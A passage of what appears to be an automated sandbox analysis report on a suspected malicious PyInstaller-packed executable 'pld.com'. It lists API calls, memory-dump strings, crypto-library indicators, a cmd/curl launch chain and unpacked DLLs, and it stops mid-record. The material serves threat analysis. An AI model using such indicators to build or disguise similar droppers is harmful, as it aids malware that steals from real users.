(UID: 00000000-00001384) "pld.com" called "FindNextFileW" with parameter api-ms-win-core-debug-l1-1-0.dll (UID: 00000000-00001384) "pld.com" called "FindNextFileW" with parameter api-ms-win-core-errorhandling-l1-1-0.dll (UID: 00000000-00001384) "pld.com" called "FindNextFileW" with parameter api-ms-win-core-fibers-l1-1-0.dll (UID: 00000000-00001384) "pld.com" called "FindNextFileW" with parameter api-ms-win-core-file-l1-1-0.dll (UID: 00000000-00001384) "pld.com" called "FindNextFileW" with parameter api-ms-win-core-file-l1-2-0.dll (UID: 00000000-00001384) "pld.com" called "FindNextFileW" with parameter api-ms-win-core-file-l2-1-0.dll (UID: 00000000-00001384) "pld.com" called "FindNextFileW" with parameter api-ms-win-core-handle-l1-1-0.dll (UID: 00000000-00001384) "pld.com" called "FindNextFileW" with parameter api-ms-win-core-heap-l1-1-0.dll (UID: 00000000-00001384) "pld.com" called "FindNextFileW" with parameter api-ms-win-core-interlocked-l1-1-0.dll (UID: 00000000-00001384) "pld.com" called "FindNextFileW" with parameter api-ms-win-core-libraryloader-l1-1-0.dll (UID: 00000000-00001384) "pld.com" called "FindNextFileW" with parameter api-ms-win-core-localization-l1-2-0.dll (UID: 00000000-00001384) "pld.com" called "FindNextFileW" with parameter api-ms-win-core-memory-l1-1-0.dll (UID: 00000000-00001384) "pld.com" called "FindNextFileW" with parameter api-ms-win-core-namedpipe-l1-1-0.dll (UID: 00000000-00001384) "pld.com" called "FindNextFileW" with parameter api-ms-win-core-processenvironment-l1-1-0.dll (UID: 00000000-00001384) "pld.com" called "FindNextFileW" with parameter api-ms-win-core-processthreads-l1-1-0.dll (UID: 00000000-00001384) "pld.com" called "FindNextFileW" with parameter api-ms-win-core-processthreads-l1-1-1.dll (UID: 00000000-00001384) "pld.com" called "FindNextFileW" with parameter api-ms-win-core-profile-l1-1-0.dll (UID: 00000000-00001384) "pld.com" called "FindNextFileW" with parameter api-ms-win-core-rtlsupport-l1-1-0.dll (UID: 00000000-00001384) "pld.com" called "FindNextFileW" with parameter api-ms-win-core-string-l1-1-0.dll (UID: 00000000-00001384) "pld.com" called "FindNextFileW" with parameter api-ms-win-core-synch-l1-1-0.dll (UID: 00000000-00001384) "pld.com" called "FindNextFileW" with parameter api-ms-win-core-synch-l1-2-0.dll (UID: 00000000-00001384)43:T18f5,file/memory contains long string with (Indicator: "aes"; File: "_raw_aes.pyd") file/memory contains long string with (Indicator: "base64"; File: "urlref_httpspdfhost.iovFVdt3Ea4qP_statement") file/memory contains long string with (Indicator: "blowfish"; File: "_raw_eksblowfish.pyd") file/memory contains long string with (Indicator: "blowfish"; File: "_raw_blowfish.pyd") file/memory contains long string with (Indicator: "aes"; File: "_raw_aesni.pyd") file/memory contains long string with (Indicator: "chacha"; File: "_chacha20.pyd") file/memory contains long string with (Indicator: "aes"; File: "_cpuid_c.pyd") Found string "bCryptodome\Cipher\_chacha20.pyd" (Indicator: "chacha"; Source: "00000000-00001384.00000000.184119.07470000.00000004.mdmp, 00000000-00001384.00000001.186039.07470000.00000004.mdmp, 00000000-00001384.00000002.187961.07470000.00000004.mdmp") Found string "bCryptodome\Cipher\_raw_aes.pyd" (Indicator: "aes"; Source: "00000000-00001384.00000000.184119.07470000.00000004.mdmp, 00000000-00001384.00000001.186039.07470000.00000004.mdmp, 00000000-00001384.00000002.187961.07470000.00000004.mdmp") Found string "bCryptodome\Cipher\_raw_aesni.pyd" (Indicator: "aes"; Source: "00000000-00001384.00000000.184119.07470000.00000004.mdmp, 00000000-00001384.00000001.186039.07470000.00000004.mdmp, 00000000-00001384.00000002.187961.07470000.00000004.mdmp") Found string "bCryptodome\Cipher\_raw_blowfish.pyd" (Indicator: "blowfish"; Source: "00000000-00001384.00000000.184119.07470000.00000004.mdmp, 00000000-00001384.00000001.186039.07470000.00000004.mdmp, 00000000-00001384.00000002.187961.07470000.00000004.mdmp") Found string "bCryptodome\Cipher\_raw_eksblowfish.pyd" (Indicator: "blowfish"; Source: "00000000-00001384.00000000.184119.07470000.00000004.mdmp, 00000000-00001384.00000001.186039.07470000.00000004.mdmp, 00000000-00001384.00000002.187961.07470000.00000004.mdmp") Found string "id-smime-alg-CMS3DESwrap" (Indicator: "3des"; Source: "00000000-00001384.00000000.184119.07470000.00000004.mdmp, 00000000-00001384.00000001.186039.07470000.00000004.mdmp, 00000000-00001384.00000001.186039.DB8B2000.00000002.mdmp, 00000000-00001384.00000002.187961.07470000.00000004.mdmp, 00000000-00001384.00000002.187961.D3CD7000.00000002.mdmp") Found string "a zipfile, or to a specific path inside a zipfile. For example, it can be" (Indicator: "zipfile"; Source: "00000000-00001384.00000000.184119.09530000.00000004.mdmp, 00000000-00001384.00000001.186039.09530000.00000004.mdmp, 00000000-00001384.00000002.187961.09530000.00000004.mdmp") Found string "zipfile targeted." (Indicator: "zipfile"; Source: "00000000-00001384.00000000.184119.09530000.00000004.mdmp, 00000000-00001384.00000001.186039.09530000.00000004.mdmp, 00000000-00001384.00000002.187961.09530000.00000004.mdmp") Found string "setuptools._vendor.backports.tarfile.compat" (Indicator: "tarfile"; Source: "00000000-00001384.00000000.184119.09530000.00000004.mdmp, 00000000-00001384.00000001.186039.09530000.00000004.mdmp, 00000000-00001384.00000002.187961.09530000.00000004.mdmp") Found string "C:\Users\PcZzZTh\AppData\Local\Temp\_MEI74202\base_library.zip\encodings\base64_codec.pyc" (Indicator: "base64"; Source: "00000000-00001384.00000000.184119.09530000.00000004.mdmp, 00000000-00001384.00000001.186039.09530000.00000004.mdmp, 00000000-00001384.00000002.187961.09530000.00000004.mdmp") Found string "base64" (Indicator: "base64"; Source: "00000000-00001384.00000000.184119.09530000.00000004.mdmp, 00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000000.184119.0A177000.00000004.mdmp, 00000000-00001384.00000001.186039.09530000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.DA7A3000.00000002.mdmp, 00000000-00001384.00000002.187961.09530000.00000004.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp") Found string "tarfile" (Indicator: "tarfile"; Source: "00000000-00001384.00000000.184119.09530000.00000004.mdmp, 00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09530000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.09530000.00000004.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp") Found string "zipfile" (Indicator: "zipfile"; Source: "00000000-00001384.00000000.184119.09530000.00000004.mdmp, 00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000000.184119.0A380000.00000004.mdmp, 00000000-00001384.00000000.184119.0A580000.00000004.mdmp, 00000000-00001384.00000001.186039.09530000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.0A380000.00000004.mdmp, 00000000-00001384.00000001.186039.0A580000.00000004.mdmp, 00000000-00001384.00000002.187961.09530000.00000004.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.0A380000.00000004.mdmp, 00000000-00001384.00000002.187961.0A580000.00000004.mdmp") Found string "encodings\base64_codec.pyc" (Indicator: "base64"; Source: "00000000-00001384.00000000.184119.09530000.00000004.mdmp, 00000000-00001384.00000001.186039.09530000.00000004.mdmp, 00000000-00001384.00000002.187961.09530000.00000004.mdmp") Found string "base64_codec" (Indicator: "base64"; Source: "00000000-00001384.00000000.184119.09530000.00000004.mdmp, 00000000-00001384.00000001.186039.09530000.00000004.mdmp, 00000000-00001384.00000002.187961.09530000.00000004.mdmp") Found string "Furthermore, some packages expect files() to return either pathlib.Path or zipfile.Path, e.g.," (Indicator: "zipfile"; Source: "00000000-00001384.00000000.184119.09630000.00000004.mdmp, 00000000-00001384.00000001.186039.09630000.00000004.mdmp, 00000000-00001384.00000002.187961.09630000.00000004.mdmp") Found string ">>> zf = ZipFile(data, 'w')" (Indicator: "zipfile"; Source: "00000000-00001384.00000000.184119.09630000.00000004.mdmp, 00000000-00001384.00000001.186039.09630000.00000004.mdmp, 00000000-00001384.00000002.187961.09630000.00000004.mdmp") Found string "Path accepts the zipfile object itself or a filename" (Indicator: "zipfile"; Source: "00000000-00001384.00000000.184119.09630000.00000004.mdmp, 00000000-00001384.00000001.186039.09630000.00000004.mdmp, 00000000-00001384.00000002.187961.09630000.00000004.mdmp")44:Td3f,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000000.184119.DB425000.00000002.mdmp, 00000000-00001384.00000000.184119.DCD80000.00000002.mdmp, 00000000-00001384.00000000.184119.ED614000.00000002.mdmp, 00000000-00001384.00000000.184119.ED8E1000.00000002.mdmp, 00000000-00001384.00000000.184119.F2A1D000.00000002.mdmp, 00000000-00001384.00000000.184119.F2EFB000.00000002.mdmp, 00000000-00001384.00000000.184119.F5522000.00000002.mdmp, 00000000-00001384.00000000.184119.F5577000.00000002.mdmp, 00000000-00001384.00000000.184119.F770E000.00000002.mdmp, 00000000-00001384.00000000.184119.F7B33000.00000002.mdmp, 00000000-00001384.00000000.184119.FA526000.00000002.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.CA814000.00000004.mdmp, 00000000-00001384.00000001.186039.DA5BF000.00000002.mdmp, 00000000-00001384.00000001.186039.DA7A3000.00000002.mdmp, 00000000-00001384.00000001.186039.DAE45000.00000002.mdmp, 00000000-00001384.00000001.186039.DB3D5000.00000002.mdmp, 00000000-00001384.00000001.186039.DB9F8000.00000002.mdmp, 00000000-00001384.00000001.186039.DCD80000.00000002.mdmp, 00000000-00001384.00000001.186039.DCE91000.00000002.mdmp, 00000000-00001384.00000001.186039.E29F8000.00000002.mdmp, 00000000-00001384.00000001.186039.E4F92000.00000002.mdmp, 00000000-00001384.00000001.186039.ECDD3000.00000002.mdmp, 00000000-00001384.00000001.186039.ED533000.00000002.mdmp, 00000000-00001384.00000001.186039.ED893000.00000002.mdmp, 00000000-00001384.00000001.186039.ED915000.00000002.mdmp, 00000000-00001384.00000001.186039.F15DF000.00000002.mdmp, 00000000-00001384.00000001.186039.F5593000.00000002.mdmp, 00000000-00001384.00000001.186039.F55C2000.00000002.mdmp, 00000000-00001384.00000001.186039.F55F4000.00000002.mdmp, 00000000-00001384.00000001.186039.F76E9000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.D3CD7000.00000002.mdmp, 00000000-00001384.00000002.187961.D7486000.00000002.mdmp, 00000000-00001384.00000002.187961.DA82A000.00000002.mdmp, 00000000-00001384.00000002.187961.DB1AE000.00000002.mdmp, 00000000-00001384.00000002.187961.E4FCC000.00000002.mdmp, 00000000-00001384.00000002.187961.ECDB3000.00000002.mdmp, 00000000-00001384.00000002.187961.ECDC2000.00000002.mdmp, 00000000-00001384.00000002.187961.ECDE5000.00000002.mdmp, 00000000-00001384.00000002.187961.ED1D4000.00000002.mdmp, 00000000-00001384.00000002.187961.ED4C1000.00000002.mdmp, 00000000-00001384.00000002.187961.ED8C6000.00000002.mdmp, 00000000-00001384.00000002.187961.F0822000.00000002.mdmp, 00000000-00001384.00000002.187961.F1362000.00000002.mdmp, 00000000-00001384.00000002.187961.F172C000.00000002.mdmp, 00000000-00001384.00000002.187961.F23E5000.00000002.mdmp, 00000000-00001384.00000002.187961.F2A05000.00000002.mdmp, 00000000-00001384.00000002.187961.F3823000.00000002.mdmp, 00000000-00001384.00000002.187961.F55E5000.00000002.mdmp, 00000000-00001384.00000002.187961.F5618000.00000002.mdmp, 00000000-00001384.00000002.187961.F7B51000.00000002.mdmp, 00000000-00001384.00000002.187961.F9F95000.00000002.mdmp, 00000000-00001384.00000002.187961.F9FB7000.00000002.mdmp, 00000000-00001384.00000002.187961.F9FC3000.00000002.mdmp, 00000000-00001384.00000002.187961.FA853000.00000002.mdmp")45:T8f3,Found string "where a single '*' indicates a type variable tuple::" (Indicator: "where "; Source: "00000000-00001384.00000000.184119.07470000.00000004.mdmp, 00000000-00001384.00000001.186039.07470000.00000004.mdmp, 00000000-00001384.00000002.187961.07470000.00000004.mdmp") Found string "where the use of '**' creates a parameter specification::" (Indicator: "where "; Source: "00000000-00001384.00000000.184119.07470000.00000004.mdmp, 00000000-00001384.00000001.186039.07470000.00000004.mdmp, 00000000-00001384.00000002.187961.07470000.00000004.mdmp") Found string "where '*lang' is omitted unless the 'lang' parameter is given a value." (Indicator: "where "; Source: "00000000-00001384.00000000.184119.09630000.00000004.mdmp, 00000000-00001384.00000001.186039.09630000.00000004.mdmp, 00000000-00001384.00000002.187961.09630000.00000004.mdmp") Found string "Where a nested list appears, it contains classes derived from the class" (Indicator: "where "; Source: "00000000-00001384.00000000.184119.09630000.00000004.mdmp, 00000000-00001384.00000001.186039.09630000.00000004.mdmp, 00000000-00001384.00000002.187961.09630000.00000004.mdmp") Found string "Where there is no registered implementation for a specific type, its method" (Indicator: "where "; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp") Found string "where T1, T2 etc. are TypeVars, which would be invalid, because" (Indicator: "where "; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp") Found string "where '*lang' may be omitted but the other parts may not be." (Indicator: "where "; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp") Found string "where 'value' is either the string to define it to or None to" (Indicator: "where "; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp")46:T7a3,Found string "secrets" (Indicator: "secret"; Source: "00000000-00001384.00000000.184119.09530000.00000004.mdmp, 00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09530000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.09530000.00000004.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp") Found string "The username, password, hostname, and port sub-components of netloc" (Indicator: "password"; Source: "00000000-00001384.00000000.184119.09630000.00000004.mdmp, 00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09630000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09630000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp") file/memory contains long string with (Indicator: "password"; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp") Found string "password - Password to authenticate with to the server." (Indicator: "password"; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp") Found string "authinfo.add_password(realm='PDQ Application'," (Indicator: "password"; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp") Found string "pwd is the password to decrypt files (only used for reading)." (Indicator: "password"; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp")47:Ta36,Found string "Route attribute access on a class to __getattr__." (Indicator: "route"; Source: "00000000-00001384.00000000.184119.09630000.00000004.mdmp, 00000000-00001384.00000001.186039.09630000.00000004.mdmp, 00000000-00001384.00000002.187961.09630000.00000004.mdmp") Found string "The hostname of the certificate to verify against." (Indicator: "hostname"; Source: "00000000-00001384.00000000.184119.09630000.00000004.mdmp, 00000000-00001384.00000000.184119.0A177000.00000004.mdmp, 00000000-00001384.00000001.186039.09630000.00000004.mdmp, 00000000-00001384.00000001.186039.0A177000.00000004.mdmp, 00000000-00001384.00000002.187961.09630000.00000004.mdmp, 00000000-00001384.00000002.187961.0A177000.00000004.mdmp") Found string "gethostname() -- return the current hostname" (Indicator: "hostname"; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp") Found string "gethostbyname() -- map a hostname to its IP number" (Indicator: "hostname"; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp") Found string "gethostbyaddr() -- map an IP number or hostname to DNS info" (Indicator: "hostname"; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp") Found string "ping" (Indicator: "ping"; Source: "00000000-00001384.00000000.184119.09B80000.00000004.mdmp, 00000000-00001384.00000001.186039.09B80000.00000004.mdmp, 00000000-00001384.00000001.186039.19CD0000.00000004.mdmp, 00000000-00001384.00000002.187961.09B80000.00000004.mdmp, 00000000-00001384.00000002.187961.19CD0000.00000004.mdmp, 00000000-00001384.00000002.187961.1A245000.00000004.mdmp, 00000000-00001384.00000002.187961.1B010000.00000004.mdmp, 00000000-00001384.00000002.187961.D3CD7000.00000002.mdmp") Found string "First the hostname returned by gethostbyaddr() is checked, then" (Indicator: "hostname"; Source: "00000000-00001384.00000000.184119.09C80000.00000004.mdmp, 00000000-00001384.00000001.186039.09C80000.00000004.mdmp, 00000000-00001384.00000002.187961.09C80000.00000004.mdmp") Found string "hostname from gethostname() is returned." (Indicator: "hostname"; Source: "00000000-00001384.00000000.184119.09C80000.00000004.mdmp, 00000000-00001384.00000001.186039.09C80000.00000004.mdmp, 00000000-00001384.00000002.187961.09C80000.00000004.mdmp")48:Te28,Found string "\Device\HarddiskVolume3\Windows\System32\conhost.exe" (Indicator: "\Device\"; Source: "00000000-00003320-00000BC0-1790016717") Found string "\Device\HarddiskVolume3\Windows\System32\cmd.exe" (Indicator: "\Device\"; Source: "00000000-00003320-00000BC0-1791045114") Found string "\Device\HarddiskVolume3\Windows\System32\curl.exe" (Indicator: "\Device\"; Source: "00000000-00002964-00000BC0-1792333098") Found string "\Device\HarddiskVolume3\Users\Public\pld.com" (Indicator: "\Device\"; Source: "00000000-00002964-00000BC0-1800127545") Found string "\Device\HarddiskVolume3\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" (Indicator: "\Device\"; Source: "00000000-00001384-00000BC1-1849740465") Found string "riverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00001384.00000000.184119.07470000.00000004.mdmp, 00000000-00001384.00000001.186039.07470000.00000004.mdmp, 00000000-00001384.00000002.187961.07470000.00000004.mdmp") Found string "riverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00001384.00000000.184119.07470000.00000004.mdmp, 00000000-00001384.00000001.186039.07470000.00000004.mdmp, 00000000-00001384.00000002.187961.07470000.00000004.mdmp") Found string "\Device\HarddiskVolume3\Users\Public\pld.com" (Indicator: "\Device\"; Source: "00000000-00001384.00000000.184119.07470000.00000004.mdmp, 00000000-00001384.00000001.186039.07470000.00000004.mdmp, 00000000-00001384.00000002.187961.07470000.00000004.mdmp, 00000000-00001384.00000002.187961.1B6D0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00001384.00000000.184119.07470000.00000004.mdmp, 00000000-00001384.00000000.184119.08EF0000.00000004.mdmp, 00000000-00001384.00000000.184119.0A177000.00000004.mdmp, 00000000-00001384.00000001.186039.07470000.00000004.mdmp, 00000000-00001384.00000001.186039.08EF0000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.0B101000.00000004.mdmp, 00000000-00001384.00000002.187961.07470000.00000004.mdmp, 00000000-00001384.00000002.187961.08EF0000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.1A245000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00001384.00000000.184119.07470000.00000004.mdmp, 00000000-00001384.00000000.184119.08EF0000.00000004.mdmp, 00000000-00001384.00000000.184119.0A177000.00000004.mdmp, 00000000-00001384.00000001.186039.07470000.00000004.mdmp, 00000000-00001384.00000001.186039.08EF0000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.0B101000.00000004.mdmp, 00000000-00001384.00000002.187961.07470000.00000004.mdmp, 00000000-00001384.00000002.187961.08EF0000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.1A245000.00000004.mdmp") Found string "C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00001384.00000000.184119.09530000.00000004.mdmp, 00000000-00001384.00000001.186039.09530000.00000004.mdmp, 00000000-00001384.00000002.187961.09530000.00000004.mdmp") Found string "C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00001384.00000000.184119.09530000.00000004.mdmp, 00000000-00001384.00000001.186039.09530000.00000004.mdmp, 00000000-00001384.00000002.187961.09530000.00000004.mdmp")49:T114e,Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000000.184119.ED614000.00000002.mdmp, 00000000-00001384.00000000.184119.F2EFB000.00000002.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.DA7A3000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.F3823000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000000.184119.DB425000.00000002.mdmp, 00000000-00001384.00000000.184119.DCD80000.00000002.mdmp, 00000000-00001384.00000000.184119.ED614000.00000002.mdmp, 00000000-00001384.00000000.184119.ED8E1000.00000002.mdmp, 00000000-00001384.00000000.184119.F2A1D000.00000002.mdmp, 00000000-00001384.00000000.184119.F2EFB000.00000002.mdmp, 00000000-00001384.00000000.184119.F5522000.00000002.mdmp, 00000000-00001384.00000000.184119.F5577000.00000002.mdmp, 00000000-00001384.00000000.184119.F770E000.00000002.mdmp, 00000000-00001384.00000000.184119.F7B33000.00000002.mdmp, 00000000-00001384.00000000.184119.FA526000.00000002.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.DA5BF000.00000002.mdmp, 00000000-00001384.00000001.186039.DA7A3000.00000002.mdmp, 00000000-00001384.00000001.186039.DAE45000.00000002.mdmp, 00000000-00001384.00000001.186039.DB3D5000.00000002.mdmp, 00000000-00001384.00000001.186039.DB9F8000.00000002.mdmp, 00000000-00001384.00000001.186039.DCD80000.00000002.mdmp, 00000000-00001384.00000001.186039.DCE91000.00000002.mdmp, 00000000-00001384.00000001.186039.E29F8000.00000002.mdmp, 00000000-00001384.00000001.186039.E4F92000.00000002.mdmp, 00000000-00001384.00000001.186039.ECDD3000.00000002.mdmp, 00000000-00001384.00000001.186039.ED533000.00000002.mdmp, 00000000-00001384.00000001.186039.ED893000.00000002.mdmp, 00000000-00001384.00000001.186039.ED915000.00000002.mdmp, 00000000-00001384.00000001.186039.F15DF000.00000002.mdmp, 00000000-00001384.00000001.186039.F5593000.00000002.mdmp, 00000000-00001384.00000001.186039.F55C2000.00000002.mdmp, 00000000-00001384.00000001.186039.F55F4000.00000002.mdmp, 00000000-00001384.00000001.186039.F76E9000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.D3CD7000.00000002.mdmp, 00000000-00001384.00000002.187961.D7486000.00000002.mdmp, 00000000-00001384.00000002.187961.DA82A000.00000002.mdmp, 00000000-00001384.00000002.187961.DB1AE000.00000002.mdmp, 00000000-00001384.00000002.187961.E4FCC000.00000002.mdmp, 00000000-00001384.00000002.187961.ECDB3000.00000002.mdmp, 00000000-00001384.00000002.187961.ECDC2000.00000002.mdmp, 00000000-00001384.00000002.187961.ECDE5000.00000002.mdmp, 00000000-00001384.00000002.187961.ED1D4000.00000002.mdmp, 00000000-00001384.00000002.187961.ED4C1000.00000002.mdmp, 00000000-00001384.00000002.187961.ED8C6000.00000002.mdmp, 00000000-00001384.00000002.187961.F0822000.00000002.mdmp, 00000000-00001384.00000002.187961.F1362000.00000002.mdmp, 00000000-00001384.00000002.187961.F172C000.00000002.mdmp, 00000000-00001384.00000002.187961.F23E5000.00000002.mdmp, 00000000-00001384.00000002.187961.F2A05000.00000002.mdmp, 00000000-00001384.00000002.187961.F3823000.00000002.mdmp, 00000000-00001384.00000002.187961.F55E5000.00000002.mdmp, 00000000-00001384.00000002.187961.F5618000.00000002.mdmp, 00000000-00001384.00000002.187961.F7B51000.00000002.mdmp, 00000000-00001384.00000002.187961.F9F95000.00000002.mdmp, 00000000-00001384.00000002.187961.F9FB7000.00000002.mdmp, 00000000-00001384.00000002.187961.F9FC3000.00000002.mdmp, 00000000-00001384.00000002.187961.FA853000.00000002.mdmp") Found reference to API "Terminate process; sends SIGTERM signal or uses TerminateProcess()" (Indicator: "TerminateProcess"; Source: "00000000-00001384.00000000.184119.09C80000.00000004.mdmp, 00000000-00001384.00000001.186039.09C80000.00000004.mdmp, 00000000-00001384.00000002.187961.09C80000.00000004.mdmp") Found reference to API "Terminate process; sends SIGKILL signal or uses TerminateProcess()" (Indicator: "TerminateProcess"; Source: "00000000-00001384.00000000.184119.09C80000.00000004.mdmp, 00000000-00001384.00000001.186039.09C80000.00000004.mdmp, 00000000-00001384.00000002.187961.09C80000.00000004.mdmp")4a:T11ee,"mfc140u.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%TEMP%\_MEI74202\Pythonwin\mfc140u.dll]- [targetUID: 00000000-00007420] "_imaging.cp312-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\PIL\_imaging.cp312-win_amd64.pyd]- [targetUID: 00000000-00001384] "win32ui.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Pythonwin\win32ui.pyd]- [targetUID: 00000000-00007420] "_ec_ws.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\PublicKey\_ec_ws.pyd]- [targetUID: 00000000-00007420] "_webp.cp312-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\PIL\_webp.cp312-win_amd64.pyd]- [targetUID: 00000000-00007420] "_imagingcms.cp312-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\PIL\_imagingcms.cp312-win_amd64.pyd]- [targetUID: 00000000-00007420] "_ed448.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\PublicKey\_ed448.pyd]- [targetUID: 00000000-00007420] "_curve448.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\PublicKey\_curve448.pyd]- [targetUID: 00000000-00007420] "_raw_des3.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Cipher\_raw_des3.pyd]- [targetUID: 00000000-00007420] "_raw_des.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Cipher\_raw_des.pyd]- [targetUID: 00000000-00007420] "_raw_aes.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Cipher\_raw_aes.pyd]- [targetUID: 00000000-00001384] "_modexp.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Math\_modexp.pyd]- [targetUID: 00000000-00007420] "_SHA384.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Hash\_SHA384.pyd]- [targetUID: 00000000-00007420] "_SHA512.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Hash\_SHA512.pyd]- [targetUID: 00000000-00007420] "_imagingmath.cp312-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\PIL\_imagingmath.cp312-win_amd64.pyd]- [targetUID: 00000000-00001384] "_raw_cast.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Cipher\_raw_cast.pyd]- [targetUID: 